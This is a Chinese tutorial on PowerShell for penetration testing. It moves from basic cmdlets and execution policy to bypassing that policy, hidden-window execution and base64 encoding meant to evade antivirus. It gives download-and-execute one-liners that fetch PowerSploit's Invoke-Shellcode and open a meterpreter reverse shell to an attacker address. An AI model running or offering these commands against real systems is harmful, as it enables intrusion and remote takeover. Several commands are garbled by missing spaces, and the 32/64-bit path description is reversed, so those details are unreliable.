powershell学习

powershell基础

Windows Powershell是一种命令行外壳程序和脚本环境,内置在每个受支持的Windows版本中,为Windows命令行使用者和脚本编写者利用 .NET Framework 的强大功能提供了便利。只要可以在一台计算机上面执行代码,就可以将Powershell脚本(.ps1)下载到磁盘中执行(甚至无需将脚本文件写入到磁盘中)。

特点:

  • 在win7以上版本默认安装
  • 脚本可以在内存中运行,不需要写入磁盘
  • 几乎不会触发杀毒软件
  • 可以远程执行
  • 很多工具是基于powershell开发
  • cmd的运行通畅会被阻,powershell通常不会
  • 使Windows脚本执行变得更容易
  • 可用于管理活动目录
操作系统 Powershell版本 是否可升级
win7、win server 2008 2.0 可升级为3.0/4.0
win8、win server 2012 3.0 可升级为4.0
win8.1、win server 2012 R2 4.0

可以输入 Get-Host 或者 $PSVersionTable.PSVERSION 命令查看Powershell的版本

powershell1.png

powershell基本概念

.ps1文件

一个powershell脚本其实就是一个简单的文本文件,其扩展名为.ps1

powershell脚本文件中包含一系列powershell命令,每个命令显示为单独的一行。

执行策略

为了防止使用者运行恶意脚本,powershell提供了一个执行策略,默认不能执行。

如果powershell脚本无法运行,可以使用下面的cmdlet命令查询当前的执行策略。

1
2
3
4
5
Get-exccutionPolicy
1. Restricted # 脚本不能运行(默认设置)
2. RemoteSigned # 在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)
3. AllSigned # 仅当脚本由受信任的发布者签名时才能运行
4. Unrestricted # 允许所有脚本运行

可以使用下面的cmdlet命令设置powershell的执行策略

1
Set-ExecutionPolicy <policy name>

运行脚本

要想运行一个powershell脚本,必须输入完整的路径和文件名。

若在同一目录下,./test.ps1即可

管道

管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用 | 连接

例:执行下面命令,让所有正在运行的,名字以字符 p 开头的程序停止运行

1
get-process p* | stop-process

powershell常用命令

基础知识

在powershell下,类似cmd命令的命令叫作cmdlet命令。二者命名规范一致,都采用“动词-名词”的形式,例如“New-Item”。动词一般为AddGetRemoveSetNew等。

powershell命令不区分大小写。

以文件操作为例:

  • 新建目录:New-Item whitecellclub-ItemType Directory
  • 新建文件:New-Item light.txt-ItemType File
  • 删除目录:Remove-Item whitecellclub
  • 显示文本内容:Get-Content test.txt
  • 设置文本内容:Set-Content test.txt-Value "hello,world!"
  • 追加内容:Add-Content light.txt-Value "hahaha"
  • 清除内容:Clear-Content test.txt

常用命令

在Windows终端下输入 powershell,进入powershell命令行环境。输入 help 显示帮助菜单

powershell2.png

要想运行powershell脚本程序,必须使用管理员权限将策略从Restricted改成Unrestricted

  1. 绕过本地权限并执行

    将PowerUp.ps1上传到目标服务器。在命令行下执行如下命令,绕过安全策略,在目标服务器执行该脚本

1
Powershell.exe -ExecutionPolicy Bypass -File PowerUp.ps1

powershell3.png

将同一个脚本上传到目标服务器中,在目标本地执行脚本文件

1
powershell.exe -exec bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}"
  1. 从网站服务器中下载脚本,绕过本地权限并隐藏执行
1
powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
1
powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.150.141 -Lport 80
  • -ExecutionPolicy Bypass (-Exec Bypass):绕过执行安全策略。这个参数非常重要。在默认情况下,powershell的安全策略规定powershell不能运行命令和文件。
  • -WindowStyle Hidden (-W Hidden):隐藏窗口
  • -NonInteractive (-NonI):非交互模式。powershell不为用户提供交互式的提示
  • -NoProfile (-NoP):powershell控制台不加载当前用户的配置文件
  • -noexit:执行后不退出shell。这个参数在使用键盘记录等脚本时非常重要
  • -NoLogo:启动不显示版权标志的powershell
  1. 使用base64对powershell命令进行编码

    使用Base64对powershell命令进行编码的目的是混淆和压缩代码,从而避免脚本因为一些特殊字符被杀毒软件查杀。

    可以使用python脚本对所有的powershell命令进行base64编码。python脚本

    在使用ps_encoder.py进行文本转换时,转换的对象必须是文本文件,因此先把命令保存为文本文件。

    1
    echo "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode-Payload windows/meterpreter/reverse_https -Lhost 192.168.150.141 -Lport 80 -Force" >raw.txt

    powershell4.png

    在远程主机上执行

    1
    powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc base64编码

运行32位和64位powershell

一些powershell脚本只能在指定平台上运行。在64位的Windows操作系统中,存在两个版本的powershell,一个是x64,另一个是x86。这两个版本的执行策略不会相互影响,可以把它们看成两个独立的程序。x64版本的powershell的配置文件在 %windir%\syswow64\WindowsPowerShell\v1.0\目录下。

运行32位Powershell脚本

1
powershell.exe -NoP -NonI -W Hidden -Exec Bypass

运行64位Powershell脚本

1
%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

推荐

PowerShell 在线教程